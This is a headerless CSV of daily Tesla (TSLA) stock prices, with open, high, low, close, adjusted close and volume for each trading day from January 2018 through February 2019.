-2018-01-10,332.20001220703125,337.0,330.0,334.79998779296875,334.79998779296875,4309900,TSLA -2018-01-11,335.239990234375,344.80999755859375,333.260009765625,337.95001220703125,337.95001220703125,6645500,TSLA -2018-01-12,338.6300048828125,340.4100036621094,333.6700134277344,336.2200012207031,336.2200012207031,4825100,TSLA -2018-01-16,337.5400085449219,345.0,334.79998779296875,340.05999755859375,340.05999755859375,6474300,TSLA -2018-01-17,340.4700012207031,349.0,339.75,347.1600036621094,347.1600036621094,7103500,TSLA -2018-01-18,345.6700134277344,352.29998779296875,343.739990234375,344.57000732421875,344.57000732421875,5685800,TSLA -2018-01-19,345.0,350.5899963378906,342.6000061035156,350.0199890136719,350.0199890136719,4888300,TSLA -2018-01-22,349.3999938964844,357.8299865722656,349.20001220703125,351.55999755859375,351.55999755859375,6210400,TSLA -2018-01-23,360.0,360.5,351.0,352.7900085449219,352.7900085449219,5465400,TSLA -2018-01-24,354.5799865722656,354.75,343.5199890136719,345.8900146484375,345.8900146484375,5287500,TSLA -2018-01-25,348.2699890136719,349.20001220703125,336.3999938964844,337.6400146484375,337.6400146484375,6740300,TSLA -2018-01-26,341.5,344.0,335.7099914550781,342.8500061035156,342.8500061035156,4539400,TSLA -2018-01-29,339.8500061035156,350.8500061035156,338.2799987792969,349.5299987792969,349.5299987792969,4747100,TSLA -2018-01-30,345.1400146484375,348.2699890136719,342.1700134277344,345.82000732421875,345.82000732421875,4717700,TSLA -2018-01-31,347.510009765625,356.19000244140625,345.19000244140625,354.30999755859375,354.30999755859375,6214100,TSLA -2018-02-01,351.0,359.6600036621094,348.6300048828125,349.25,349.25,4197700,TSLA -2018-02-02,348.44000244140625,351.95001220703125,340.510009765625,343.75,343.75,3704800,TSLA -2018-02-05,337.9700012207031,344.4700012207031,333.0,333.1300048828125,333.1300048828125,4464100,TSLA -2018-02-06,325.2099914550781,336.2200012207031,323.5,333.9700012207031,333.9700012207031,5088400,TSLA -2018-02-07,338.989990234375,346.0,335.6600036621094,345.0,345.0,6969200,TSLA -2018-02-08,343.30999755859375,348.6199951171875,314.6000061035156,315.2300109863281,315.2300109863281,10314600,TSLA -2018-02-09,319.92999267578125,320.9800109863281,294.760009765625,310.4200134277344,310.4200134277344,12933700,TSLA -2018-02-12,316.1300048828125,318.0799865722656,306.25,315.7300109863281,315.7300109863281,6227800,TSLA -2018-02-13,315.0199890136719,324.19000244140625,312.510009765625,323.6600036621094,323.6600036621094,4560200,TSLA -2018-02-14,320.8399963378906,326.1700134277344,318.5199890136719,322.30999755859375,322.30999755859375,3950700,TSLA -2018-02-15,324.5,334.1199951171875,322.3999938964844,334.07000732421875,334.07000732421875,5912900,TSLA -2018-02-16,332.5,343.1199951171875,331.6400146484375,335.489990234375,335.489990234375,5642600,TSLA -2018-02-20,334.4700012207031,340.8399963378906,331.5,334.7699890136719,334.7699890136719,4009400,TSLA -2018-02-21,336.0299987792969,339.69000244140625,333.1700134277344,333.29998779296875,333.29998779296875,3219600,TSLA -2018-02-22,335.5299987792969,347.44000244140625,334.75,346.1700134277344,346.1700134277344,6969800,TSLA -2018-02-23,347.8299865722656,354.989990234375,347.1000061035156,352.04998779296875,352.04998779296875,5817400,TSLA -2018-02-26,353.5,359.0,352.3599853515625,357.4200134277344,357.4200134277344,4340000,TSLA -2018-02-27,356.25,359.989990234375,350.010009765625,350.989990234375,350.989990234375,4797400,TSLA -2018-02-28,352.57000732421875,355.239990234375,342.2200012207031,343.05999755859375,343.05999755859375,6069700,TSLA -2018-03-01,345.010009765625,348.6700134277344,330.07000732421875,330.92999267578125,330.92999267578125,6885600,TSLA -2018-03-02,326.9800109863281,335.2200012207031,322.9700012207031,335.1199951171875,335.1199951171875,5092800,TSLA -2018-03-05,332.3900146484375,337.75,329.2900085449219,333.3500061035156,333.3500061035156,3823800,TSLA -2018-03-06,333.75,336.3699951171875,327.0299987792969,328.20001220703125,328.20001220703125,4285700,TSLA -2018-03-07,325.44000244140625,332.5,321.739990234375,332.29998779296875,332.29998779296875,5007300,TSLA -2018-03-08,332.8599853515625,333.29998779296875,326.2699890136719,329.1000061035156,329.1000061035156,3566200,TSLA -2018-03-09,324.1000061035156,328.489990234375,322.3699951171875,327.1700134277344,327.1700134277344,5506800,TSLA -2018-03-12,328.6099853515625,347.2099914550781,326.5,345.510009765625,345.510009765625,8264000,TSLA -2018-03-13,328.6099853515625,347.2099914550781,326.5,341.8399963378906,341.8399963378906,5965800,TSLA -2018-03-14,336.760009765625,339.80999755859375,323.92999267578125,326.6300048828125,326.6300048828125,7967400,TSLA -2018-03-15,329.3800048828125,332.8500061035156,321.1000061035156,325.6000061035156,325.6000061035156,6564800,TSLA -2018-03-16,322.92999267578125,327.3999938964844,319.07000732421875,321.3500061035156,321.3500061035156,6117300,TSLA -2018-03-19,316.5,320.75,309.6700134277344,313.55999755859375,313.55999755859375,7484300,TSLA -2018-03-20,314.8699951171875,316.25,308.760009765625,310.54998779296875,310.54998779296875,4764300,TSLA -2018-03-21,310.25,322.44000244140625,310.19000244140625,316.5299987792969,316.5299987792969,5958400,TSLA -2018-03-22,313.8900146484375,318.82000732421875,308.17999267578125,309.1000061035156,309.1000061035156,4939800,TSLA -2018-03-23,311.25,311.25,300.45001220703125,301.5400085449219,301.5400085449219,6654900,TSLA -2018-03-26,307.3399963378906,307.5899963378906,291.3599853515625,304.17999267578125,304.17999267578125,8375200,TSLA -2018-03-27,304.0,304.2699890136719,277.17999267578125,279.17999267578125,279.17999267578125,13872000,TSLA -2018-03-28,264.5799865722656,268.67999267578125,252.10000610351562,257.7799987792969,257.7799987792969,21001400,TSLA -2018-03-29,256.489990234375,270.9599914550781,248.2100067138672,266.1300048828125,266.1300048828125,15170700,TSLA -2018-04-02,256.260009765625,260.3299865722656,244.58999633789062,252.47999572753906,252.47999572753906,16114000,TSLA -2018-04-03,269.82000732421875,273.3500061035156,254.49000549316406,267.5299987792969,267.5299987792969,18844400,TSLA -2018-04-04,252.77999877929688,288.3699951171875,252.0,286.94000244140625,286.94000244140625,19896700,TSLA -2018-04-05,289.3399963378906,306.260009765625,288.20001220703125,305.7200012207031,305.7200012207031,19121100,TSLA -2018-04-06,301.0,309.2799987792969,295.5,299.29998779296875,299.29998779296875,13520300,TSLA -2018-04-09,300.3699951171875,309.5,289.2099914550781,289.6600036621094,289.6600036621094,10249800,TSLA -2018-04-10,298.9700012207031,307.1000061035156,293.67999267578125,304.70001220703125,304.70001220703125,10989800,TSLA -2018-04-11,300.739990234375,308.9800109863281,299.6600036621094,300.92999267578125,300.92999267578125,7482900,TSLA -2018-04-12,302.32000732421875,303.95001220703125,293.67999267578125,294.0799865722656,294.0799865722656,7608800,TSLA -2018-04-13,303.6000061035156,303.95001220703125,295.9800109863281,300.3399963378906,300.3399963378906,7327200,TSLA -2018-04-16,299.0,299.6600036621094,289.010009765625,291.2099914550781,291.2099914550781,6338500,TSLA -2018-04-17,288.8699951171875,292.1700134277344,282.510009765625,287.69000244140625,287.69000244140625,7000000,TSLA -2018-04-18,291.0799865722656,300.239990234375,288.1600036621094,293.3500061035156,293.3500061035156,6557700,TSLA -2018-04-19,291.0799865722656,301.010009765625,288.54998779296875,300.0799865722656,300.0799865722656,6090600,TSLA -2018-04-20,295.1700134277344,299.9800109863281,289.75,290.239990234375,290.239990234375,5627900,TSLA -2018-04-23,291.2900085449219,291.6199951171875,282.3299865722656,283.3699951171875,283.3699951171875,4893400,TSLA -2018-04-24,285.0,287.0899963378906,278.4599914550781,283.4599914550781,283.4599914550781,5685300,TSLA -2018-04-25,283.5,285.1600036621094,277.25,280.69000244140625,280.69000244140625,4013600,TSLA -2018-04-26,278.75,285.7900085449219,276.5,285.4800109863281,285.4800109863281,4356000,TSLA -2018-04-27,285.3699951171875,294.4700012207031,283.8299865722656,294.0799865722656,294.0799865722656,4364600,TSLA -2018-04-30,293.6099853515625,298.7300109863281,292.5,293.8999938964844,293.8999938964844,4228200,TSLA -2018-05-01,293.510009765625,300.82000732421875,293.2200012207031,299.9200134277344,299.9200134277344,4625600,TSLA -2018-05-02,298.57000732421875,306.8500061035156,297.7799987792969,301.1499938964844,301.1499938964844,8970400,TSLA -2018-05-03,278.7900085449219,288.0400085449219,275.2300109863281,284.45001220703125,284.45001220703125,17352100,TSLA -2018-05-04,283.0,296.8599853515625,279.5199890136719,294.0899963378906,294.0899963378906,8569400,TSLA -2018-05-07,297.5,305.9599914550781,295.1700134277344,302.7699890136719,302.7699890136719,8678200,TSLA -2018-05-08,300.79998779296875,307.75,299.0,301.9700012207031,301.9700012207031,5930000,TSLA -2018-05-09,300.4100036621094,307.010009765625,300.04998779296875,306.8500061035156,306.8500061035156,5727400,TSLA -2018-05-10,307.5,312.989990234375,304.1099853515625,305.0199890136719,305.0199890136719,5651600,TSLA -2018-05-11,307.70001220703125,308.8800048828125,299.0799865722656,301.05999755859375,301.05999755859375,4679600,TSLA -2018-05-14,303.32000732421875,304.94000244140625,291.6199951171875,291.9700012207031,291.9700012207031,7286800,TSLA -2018-05-15,285.010009765625,286.9599914550781,280.5,284.17999267578125,284.17999267578125,9519200,TSLA -2018-05-16,283.8299865722656,288.80999755859375,281.55999755859375,286.4800109863281,286.4800109863281,5674000,TSLA -2018-05-17,285.8999938964844,289.19000244140625,283.9700012207031,284.5400085449219,284.5400085449219,4420600,TSLA -2018-05-18,284.6499938964844,284.6499938964844,274.0,276.82000732421875,276.82000732421875,7251900,TSLA -2018-05-21,281.3299865722656,291.489990234375,281.29998779296875,284.489990234375,284.489990234375,9182600,TSLA -2018-05-22,287.760009765625,288.0,273.4200134277344,275.010009765625,275.010009765625,8945800,TSLA -2018-05-23,277.760009765625,279.9100036621094,274.0,279.07000732421875,279.07000732421875,5985100,TSLA -2018-05-24,278.3999938964844,281.1099853515625,274.8900146484375,277.8500061035156,277.8500061035156,4176700,TSLA -2018-05-25,277.6300048828125,279.6400146484375,275.6099853515625,278.8500061035156,278.8500061035156,3875100,TSLA -2018-05-29,278.510009765625,286.5,276.1499938964844,283.760009765625,283.760009765625,5666600,TSLA -2018-05-30,283.2900085449219,295.010009765625,281.6000061035156,291.7200012207031,291.7200012207031,7489700,TSLA -2018-05-31,287.2099914550781,290.3699951171875,282.92999267578125,284.7300109863281,284.7300109863281,5919700,TSLA -2018-06-01,285.8599853515625,291.95001220703125,283.8399963378906,291.82000732421875,291.82000732421875,5424400,TSLA -2018-06-04,294.3399963378906,299.0,293.54998779296875,296.739990234375,296.739990234375,4797800,TSLA -2018-06-05,297.70001220703125,297.79998779296875,286.739990234375,291.1300048828125,291.1300048828125,5995200,TSLA -2018-06-06,300.5,322.1700134277344,297.4800109863281,319.5,319.5,18767300,TSLA -2018-06-07,316.1499938964844,330.0,313.5799865722656,316.0899963378906,316.0899963378906,14345300,TSLA -2018-06-08,319.0,324.4800109863281,317.1499938964844,317.6600036621094,317.6600036621094,8205200,TSLA -2018-06-11,322.510009765625,334.6600036621094,322.5,332.1000061035156,332.1000061035156,13183500,TSLA -2018-06-12,344.70001220703125,354.9700012207031,338.0,342.7699890136719,342.7699890136719,22347400,TSLA -2018-06-13,346.7099914550781,347.20001220703125,339.79998779296875,344.7799987792969,344.7799987792969,9469800,TSLA -2018-06-14,347.6300048828125,358.75,346.6000061035156,357.7200012207031,357.7200012207031,10981000,TSLA -2018-06-15,353.8399963378906,364.6700134277344,351.25,358.1700134277344,358.1700134277344,10848300,TSLA -2018-06-18,355.3999938964844,373.7300109863281,354.5,370.8299865722656,370.8299865722656,12073200,TSLA -2018-06-19,365.1600036621094,370.0,346.25,352.54998779296875,352.54998779296875,12761900,TSLA -2018-06-20,358.0400085449219,364.3800048828125,352.0,362.2200012207031,362.2200012207031,8383700,TSLA -2018-06-21,362.0,366.2099914550781,346.2699890136719,347.510009765625,347.510009765625,7967100,TSLA -2018-06-22,351.5400085449219,352.25,332.0,333.6300048828125,333.6300048828125,10266100,TSLA -2018-06-25,330.1199951171875,338.4700012207031,327.5,333.010009765625,333.010009765625,6931300,TSLA -2018-06-26,336.04998779296875,343.54998779296875,325.79998779296875,342.0,342.0,7452500,TSLA -2018-06-27,345.0,350.7900085449219,339.5,344.5,344.5,8333700,TSLA -2018-06-28,348.6600036621094,357.0199890136719,346.1099853515625,349.92999267578125,349.92999267578125,8398000,TSLA -2018-06-29,353.3299865722656,353.8599853515625,342.4100036621094,342.95001220703125,342.95001220703125,6492400,TSLA -2018-07-02,360.07000732421875,364.7799987792969,329.8500061035156,335.07000732421875,335.07000732421875,18759800,TSLA -2018-07-03,331.75,332.489990234375,309.69000244140625,310.8599853515625,310.8599853515625,12282600,TSLA -2018-07-05,313.760009765625,314.3900146484375,296.2200012207031,309.1600036621094,309.1600036621094,17476400,TSLA -2018-07-06,304.95001220703125,312.07000732421875,302.0,308.8999938964844,308.8999938964844,8865500,TSLA -2018-07-09,311.989990234375,318.5199890136719,308.0,318.510009765625,318.510009765625,7596800,TSLA -2018-07-10,324.55999755859375,327.67999267578125,319.20001220703125,322.4700012207031,322.4700012207031,9471500,TSLA -2018-07-11,315.79998779296875,321.94000244140625,315.07000732421875,318.9599914550781,318.9599914550781,4884100,TSLA -2018-07-12,321.42999267578125,323.2300109863281,312.7699890136719,316.7099914550781,316.7099914550781,5721200,TSLA -2018-07-13,315.5799865722656,319.5799865722656,309.25,318.8699951171875,318.8699951171875,5869800,TSLA -2018-07-16,311.7099914550781,315.1600036621094,306.25,310.1000061035156,310.1000061035156,7818700,TSLA -2018-07-17,308.80999755859375,324.739990234375,308.5,322.69000244140625,322.69000244140625,6996200,TSLA -2018-07-18,325.0,325.5,316.25,323.8500061035156,323.8500061035156,5624200,TSLA -2018-07-19,316.3299865722656,323.5400085449219,314.010009765625,320.2300109863281,320.2300109863281,5915300,TSLA -2018-07-20,321.2300109863281,323.239990234375,311.7099914550781,313.5799865722656,313.5799865722656,5162200,TSLA -2018-07-23,301.8399963378906,305.5,292.8599853515625,303.20001220703125,303.20001220703125,10992900,TSLA -2018-07-24,304.4200134277344,307.7200012207031,292.54998779296875,297.42999267578125,297.42999267578125,9590800,TSLA -2018-07-25,296.739990234375,309.6199951171875,294.5,308.739990234375,308.739990234375,7075400,TSLA -2018-07-26,304.8500061035156,310.70001220703125,303.6400146484375,306.6499938964844,306.6499938964844,4630500,TSLA -2018-07-27,307.25,307.69000244140625,295.3399963378906,297.17999267578125,297.17999267578125,5703300,TSLA -2018-07-30,295.8999938964844,296.1000061035156,286.1300048828125,290.1700134277344,290.1700134277344,6814100,TSLA -2018-07-31,292.25,298.32000732421875,289.07000732421875,298.1400146484375,298.1400146484375,5076900,TSLA -2018-08-01,297.989990234375,303.0,293.0,300.8399963378906,300.8399963378906,10129400,TSLA -2018-08-02,328.44000244140625,349.989990234375,323.1600036621094,349.5400085449219,349.5400085449219,23215000,TSLA -2018-08-03,347.80999755859375,355.0,342.5299987792969,348.1700134277344,348.1700134277344,13656500,TSLA -2018-08-06,345.4599914550781,354.9800109863281,341.82000732421875,341.989990234375,341.989990234375,8564300,TSLA -2018-08-07,343.8399963378906,387.4599914550781,339.1499938964844,379.57000732421875,379.57000732421875,30875800,TSLA -2018-08-08,369.0899963378906,382.6400146484375,367.1199951171875,370.3399963378906,370.3399963378906,24571200,TSLA -2018-08-09,365.54998779296875,367.010009765625,345.7300109863281,352.45001220703125,352.45001220703125,17183800,TSLA -2018-08-10,354.0,360.0,346.0,355.489990234375,355.489990234375,11552000,TSLA -2018-08-13,361.1300048828125,363.19000244140625,349.0199890136719,356.4100036621094,356.4100036621094,10463900,TSLA -2018-08-14,358.45001220703125,359.20001220703125,347.1000061035156,347.6400146484375,347.6400146484375,6986400,TSLA -2018-08-15,341.9100036621094,344.489990234375,332.1400146484375,338.69000244140625,338.69000244140625,9101300,TSLA -2018-08-16,339.9100036621094,342.2799987792969,333.82000732421875,335.45001220703125,335.45001220703125,6064000,TSLA -2018-08-17,323.5,326.7699890136719,303.5299987792969,305.5,305.5,18958600,TSLA -2018-08-20,291.70001220703125,308.5,288.20001220703125,308.44000244140625,308.44000244140625,17402300,TSLA -2018-08-21,310.6099853515625,324.7900085449219,309.0,321.8999938964844,321.8999938964844,13172200,TSLA -2018-08-22,320.8699951171875,323.8800048828125,314.6700134277344,321.6400146484375,321.6400146484375,5946000,TSLA -2018-08-23,319.1400146484375,327.32000732421875,318.1000061035156,320.1000061035156,320.1000061035156,5147300,TSLA -2018-08-24,320.70001220703125,323.8500061035156,319.3999938964844,322.82000732421875,322.82000732421875,3602600,TSLA -2018-08-27,318.0,322.44000244140625,308.80999755859375,319.2699890136719,319.2699890136719,13079300,TSLA -2018-08-28,318.4100036621094,318.8800048828125,311.19000244140625,311.8599853515625,311.8599853515625,7649100,TSLA -2018-08-29,310.2699890136719,311.8500061035156,303.69000244140625,305.010009765625,305.010009765625,7447400,TSLA -2018-08-30,302.260009765625,304.6000061035156,297.7200012207031,303.1499938964844,303.1499938964844,7216700,TSLA -2018-08-31,302.0,305.30999755859375,298.6000061035156,301.6600036621094,301.6600036621094,5375100,TSLA -2018-09-04,296.94000244140625,298.19000244140625,288.0,288.95001220703125,288.95001220703125,8350500,TSLA -2018-09-05,285.04998779296875,286.7799987792969,277.17999267578125,280.739990234375,280.739990234375,7720800,TSLA -2018-09-06,284.79998779296875,291.1700134277344,278.8800048828125,280.95001220703125,280.95001220703125,7480800,TSLA -2018-09-07,260.1000061035156,268.3500061035156,252.25,263.239990234375,263.239990234375,22491900,TSLA -2018-09-10,273.260009765625,286.0299987792969,271.0,285.5,285.5,14283500,TSLA -2018-09-11,279.4700012207031,282.0,273.54998779296875,279.44000244140625,279.44000244140625,9170000,TSLA -2018-09-12,281.44000244140625,292.5,278.6499938964844,290.5400085449219,290.5400085449219,10015400,TSLA -2018-09-13,288.0199890136719,295.0,285.17999267578125,289.4599914550781,289.4599914550781,6340300,TSLA -2018-09-14,288.760009765625,297.3299865722656,286.5199890136719,295.20001220703125,295.20001220703125,6765600,TSLA -2018-09-17,290.0400085449219,300.8699951171875,288.1300048828125,294.8399963378906,294.8399963378906,6887600,TSLA -2018-09-18,296.69000244140625,302.6400146484375,275.5,284.9599914550781,284.9599914550781,16547500,TSLA -2018-09-19,280.510009765625,300.0,280.5,299.0199890136719,299.0199890136719,8294900,TSLA -2018-09-20,303.55999755859375,305.9800109863281,293.3299865722656,298.3299865722656,298.3299865722656,7349400,TSLA -2018-09-21,297.70001220703125,300.5799865722656,295.3699951171875,299.1000061035156,299.1000061035156,5050500,TSLA -2018-09-24,298.4800109863281,303.0,293.5799865722656,299.67999267578125,299.67999267578125,4843000,TSLA -2018-09-25,300.0,304.6000061035156,296.5,300.989990234375,300.989990234375,4481700,TSLA -2018-09-26,301.9100036621094,313.8900146484375,301.1099853515625,309.5799865722656,309.5799865722656,7843200,TSLA -2018-09-27,312.8999938964844,314.9599914550781,306.9100036621094,307.5199890136719,307.5199890136719,8509100,TSLA -2018-09-28,270.260009765625,278.0,260.55999755859375,264.7699890136719,264.7699890136719,33649700,TSLA -2018-10-01,305.7699890136719,311.44000244140625,301.04998779296875,310.70001220703125,310.70001220703125,21777600,TSLA -2018-10-02,313.95001220703125,316.8399963378906,299.1499938964844,301.0199890136719,301.0199890136719,11743500,TSLA -2018-10-03,303.3299865722656,304.6000061035156,291.57000732421875,294.79998779296875,294.79998779296875,7995000,TSLA -2018-10-04,293.95001220703125,294.0,277.6700134277344,281.8299865722656,281.8299865722656,9814200,TSLA -2018-10-05,274.6499938964844,274.8800048828125,260.0,261.95001220703125,261.95001220703125,17944500,TSLA -2018-10-08,264.5199890136719,267.760009765625,249.0,250.55999755859375,250.55999755859375,13472700,TSLA -2018-10-09,255.25,266.7699890136719,253.3000030517578,262.79998779296875,262.79998779296875,12060600,TSLA -2018-10-10,264.6099853515625,265.510009765625,247.77000427246094,256.8800048828125,256.8800048828125,12815300,TSLA -2018-10-11,257.5299987792969,262.25,249.02999877929688,252.22999572753906,252.22999572753906,8167700,TSLA -2018-10-12,261.0,261.989990234375,252.00999450683594,258.7799987792969,258.7799987792969,7201400,TSLA -2018-10-15,259.05999755859375,263.2799987792969,254.5399932861328,259.5899963378906,259.5899963378906,6200000,TSLA -2018-10-16,265.70001220703125,277.3800048828125,262.239990234375,276.5899963378906,276.5899963378906,9526400,TSLA -2018-10-17,282.3999938964844,282.70001220703125,265.79998779296875,271.7799987792969,271.7799987792969,8655500,TSLA -2018-10-18,269.2900085449219,271.0,263.0,263.9100036621094,263.9100036621094,5421200,TSLA -2018-10-19,267.3900146484375,269.6600036621094,253.5,260.0,260.0,9375500,TSLA -2018-10-22,260.67999267578125,261.8599853515625,252.58999633789062,260.95001220703125,260.95001220703125,5600300,TSLA -2018-10-23,263.8699951171875,297.92999267578125,262.1000061035156,294.1400146484375,294.1400146484375,19027800,TSLA -2018-10-24,301.04998779296875,304.44000244140625,285.7300109863281,288.5,288.5,20058300,TSLA -2018-10-25,317.2200012207031,321.0,301.010009765625,314.8599853515625,314.8599853515625,20840700,TSLA -2018-10-26,308.25,339.8999938964844,306.6499938964844,330.8999938964844,330.8999938964844,27425500,TSLA -2018-10-29,337.4700012207031,347.1600036621094,326.5,334.8500061035156,334.8500061035156,14486000,TSLA -2018-10-30,328.3900146484375,337.8999938964844,322.260009765625,329.8999938964844,329.8999938964844,9126700,TSLA -2018-10-31,332.5400085449219,342.0,329.1000061035156,337.32000732421875,337.32000732421875,7624300,TSLA -2018-11-01,338.260009765625,347.8399963378906,334.7300109863281,344.2799987792969,344.2799987792969,8000100,TSLA -2018-11-02,343.739990234375,349.20001220703125,340.9100036621094,346.4100036621094,346.4100036621094,7808000,TSLA -2018-11-05,340.5,343.9599914550781,330.1400146484375,341.3999938964844,341.3999938964844,7831000,TSLA -2018-11-06,339.07000732421875,348.79998779296875,336.0899963378906,341.05999755859375,341.05999755859375,6762900,TSLA -2018-11-07,343.3399963378906,351.17999267578125,340.79998779296875,348.1600036621094,348.1600036621094,7374500,TSLA -2018-11-08,348.5,357.5799865722656,348.44000244140625,351.3999938964844,351.3999938964844,7090700,TSLA -2018-11-09,349.0,354.0,345.2300109863281,350.510009765625,350.510009765625,5098800,TSLA -2018-11-12,348.3699951171875,349.7799987792969,330.3399963378906,331.2799987792969,331.2799987792969,6941500,TSLA -2018-11-13,333.1600036621094,344.70001220703125,332.20001220703125,338.7300109863281,338.7300109863281,5448600,TSLA -2018-11-14,342.70001220703125,347.1099853515625,337.1499938964844,344.0,344.0,5040300,TSLA -2018-11-15,342.3299865722656,348.5799865722656,339.0400085449219,348.44000244140625,348.44000244140625,4625700,TSLA -2018-11-16,345.19000244140625,355.70001220703125,345.1199951171875,354.30999755859375,354.30999755859375,7206200,TSLA -2018-11-19,356.3399963378906,366.75,352.8800048828125,353.4700012207031,353.4700012207031,9708900,TSLA -2018-11-20,341.75,349.79998779296875,333.54998779296875,347.489990234375,347.489990234375,8004700,TSLA -2018-11-21,352.0,353.1000061035156,337.3999938964844,338.19000244140625,338.19000244140625,4686800,TSLA -2018-11-23,334.3500061035156,337.5,325.54998779296875,325.8299865722656,325.8299865722656,4202600,TSLA -2018-11-26,325.0,346.2200012207031,325.0,346.0,346.0,7992100,TSLA -2018-11-27,340.04998779296875,346.9599914550781,335.5,343.9200134277344,343.9200134277344,6358300,TSLA -2018-11-28,345.989990234375,348.2799987792969,342.2099914550781,347.8699951171875,347.8699951171875,4127600,TSLA -2018-11-29,347.0,347.5,339.54998779296875,341.1700134277344,341.1700134277344,3080700,TSLA -2018-11-30,341.8299865722656,351.6000061035156,338.260009765625,350.4800109863281,350.4800109863281,5629100,TSLA -2018-12-03,360.0,366.0,352.0,358.489990234375,358.489990234375,8306500,TSLA -2018-12-04,356.04998779296875,368.67999267578125,352.0,359.70001220703125,359.70001220703125,8461900,TSLA -2018-12-06,356.010009765625,367.3800048828125,350.760009765625,363.05999755859375,363.05999755859375,7842500,TSLA -2018-12-07,369.0,379.489990234375,357.6499938964844,357.9700012207031,357.9700012207031,11511200,TSLA -2018-12-10,360.0,365.9800109863281,353.1199951171875,365.1499938964844,365.1499938964844,6613500,TSLA -2018-12-11,369.9100036621094,372.1700134277344,360.2300109863281,366.760009765625,366.760009765625,6308800,TSLA -2018-12-12,369.4200134277344,371.9100036621094,365.1600036621094,366.6000061035156,366.6000061035156,5027000,TSLA -2018-12-13,370.1499938964844,377.44000244140625,366.75,376.7900085449219,376.7900085449219,7365900,TSLA -2018-12-14,375.0,377.8699951171875,364.3299865722656,365.7099914550781,365.7099914550781,6337600,TSLA -2018-12-17,362.0,365.70001220703125,343.8800048828125,348.4200134277344,348.4200134277344,7674000,TSLA -2018-12-18,350.5400085449219,351.54998779296875,333.69000244140625,337.0299987792969,337.0299987792969,7100000,TSLA -2018-12-19,337.6000061035156,347.010009765625,329.739990234375,332.9700012207031,332.9700012207031,8274200,TSLA -2018-12-20,327.04998779296875,330.2900085449219,311.8699951171875,315.3800048828125,315.3800048828125,9071900,TSLA -2018-12-21,317.3999938964844,323.4700012207031,312.44000244140625,319.7699890136719,319.7699890136719,8016800,TSLA -2018-12-24,313.5,314.5,295.20001220703125,295.3900146484375,295.3900146484375,5559900,TSLA -2018-12-26,300.0,326.9700012207031,294.0899963378906,326.0899963378906,326.0899963378906,8163100,TSLA -2018-12-27,319.8399963378906,322.1700134277344,301.5,316.1300048828125,316.1300048828125,8575100,TSLA -2018-12-28,323.1000061035156,336.239990234375,318.4100036621094,333.8699951171875,333.8699951171875,9939000,TSLA -2018-12-31,337.7900085449219,339.2099914550781,325.260009765625,332.79998779296875,332.79998779296875,6302300,TSLA -2019-01-02,306.1000061035156,315.1300048828125,298.79998779296875,310.1199951171875,310.1199951171875,11658600,TSLA -2019-01-03,307.0,309.3999938964844,297.3800048828125,300.3599853515625,300.3599853515625,6965200,TSLA -2019-01-04,306.0,318.0,302.7300109863281,317.69000244140625,317.69000244140625,7394100,TSLA -2019-01-07,321.7200012207031,336.739990234375,317.75,334.9599914550781,334.9599914550781,7551200,TSLA -2019-01-08,341.9599914550781,344.010009765625,327.0199890136719,335.3500061035156,335.3500061035156,7008500,TSLA -2019-01-09,335.5,343.5,331.4700012207031,338.5299987792969,338.5299987792969,5432900,TSLA -2019-01-10,334.3999938964844,345.3900146484375,331.7900085449219,344.9700012207031,344.9700012207031,6056400,TSLA -2019-01-11,342.0899963378906,348.4100036621094,338.7699890136719,347.260009765625,347.260009765625,5039100,TSLA -2019-01-14,342.3800048828125,342.5,334.0,334.3999938964844,334.3999938964844,5247300,TSLA -2019-01-15,335.0,348.79998779296875,334.5,344.42999267578125,344.42999267578125,6056600,TSLA -2019-01-16,344.7799987792969,352.0,343.5,346.04998779296875,346.04998779296875,4691700,TSLA -2019-01-17,346.2099914550781,351.5,344.1499938964844,347.30999755859375,347.30999755859375,3676700,TSLA -2019-01-18,323.0,327.1300048828125,299.7300109863281,302.260009765625,302.260009765625,24150800,TSLA -2019-01-22,304.82000732421875,308.0,295.5,298.9200134277344,298.9200134277344,12066700,TSLA -2019-01-23,292.5,294.5,281.69000244140625,287.5899963378906,287.5899963378906,12530000,TSLA -2019-01-24,283.0299987792969,293.67999267578125,279.2799987792969,291.510009765625,291.510009765625,8012200,TSLA -2019-01-25,294.3900146484375,298.5199890136719,289.54998779296875,297.0400085449219,297.0400085449219,7249600,TSLA -2019-01-28,292.9100036621094,297.4599914550781,287.75,296.3800048828125,296.3800048828125,6423300,TSLA -2019-01-29,295.2699890136719,298.55999755859375,291.79998779296875,297.4599914550781,297.4599914550781,4621700,TSLA -2019-01-30,300.45001220703125,309.0,298.489990234375,308.7699890136719,308.7699890136719,11250300,TSLA -2019-01-31,301.0,311.55999755859375,294.0,307.0199890136719,307.0199890136719,12569200,TSLA -2019-02-01,305.4200134277344,316.1000061035156,303.5,312.2099914550781,312.2099914550781,7283400,TSLA -2019-02-04,312.9800109863281,315.29998779296875,301.8800048828125,312.8900146484375,312.8900146484375,7352100,TSLA -2019-02-05,312.489990234375,322.44000244140625,312.25,321.3500061035156,321.3500061035156,6742800,TSLA -2019-02-06,319.5899963378906,324.239990234375,315.6199951171875,317.2200012207031,317.2200012207031,5038500,TSLA -2019-02-07,313.29998779296875,314.70001220703125,303.0,307.510009765625,307.510009765625,6520600,TSLA -2019-02-08,306.8299865722656,307.45001220703125,298.5,305.79998779296875,305.79998779296875,5844200,TSLA -2019-02-11,311.6000061035156,318.6000061035156,310.5,312.8399963378906,312.8399963378906,7129700,TSLA -2019-02-12,316.20001220703125,318.19000244140625,309.6199951171875,311.80999755859375,311.80999755859375,5517600,TSLA -2019-02-13,312.3500061035156,312.75,305.57000732421875,308.1700134277344,308.1700134277344,5141600,TSLA -2019-02-14,303.3800048828125,306.7699890136719,301.0,303.7699890136719,303.7699890136719,5200800,TSLA -2019-02-15,304.5,308.0,303.8999938964844,307.8800048828125,307.8800048828125,3904900,TSLA -2019-02-19,306.55999755859375,311.5400085449219,305.4700012207031,305.6400146484375,305.6400146484375,4168400,TSLA -2019-02-20,304.4100036621094,306.29998779296875,299.0,302.55999755859375,302.55999755859375,7142100,TSLA -2019-02-21,301.80999755859375,303.239990234375,290.5,291.2300109863281,291.2300109863281,8909200,TSLA -2019-02-22,294.489990234375,296.5,292.1000061035156,294.7099914550781,294.7099914550781,5740600,TSLA -2019-02-25,297.9100036621094,302.8999938964844,297.0,298.7699890136719,298.7699890136719,6626500,TSLA -2019-02-26,292.2200012207031,302.010009765625,288.7699890136719,297.8599853515625,297.8599853515625,8582500,TSLA -2019-02-27,301.7799987792969,316.29998779296875,300.54998779296875,314.739990234375,314.739990234375,11183900,TSLA -2019-02-28,318.9200134277344,320.0,310.80999755859375,319.8800048828125,319.8800048828125,10520700,TSLA 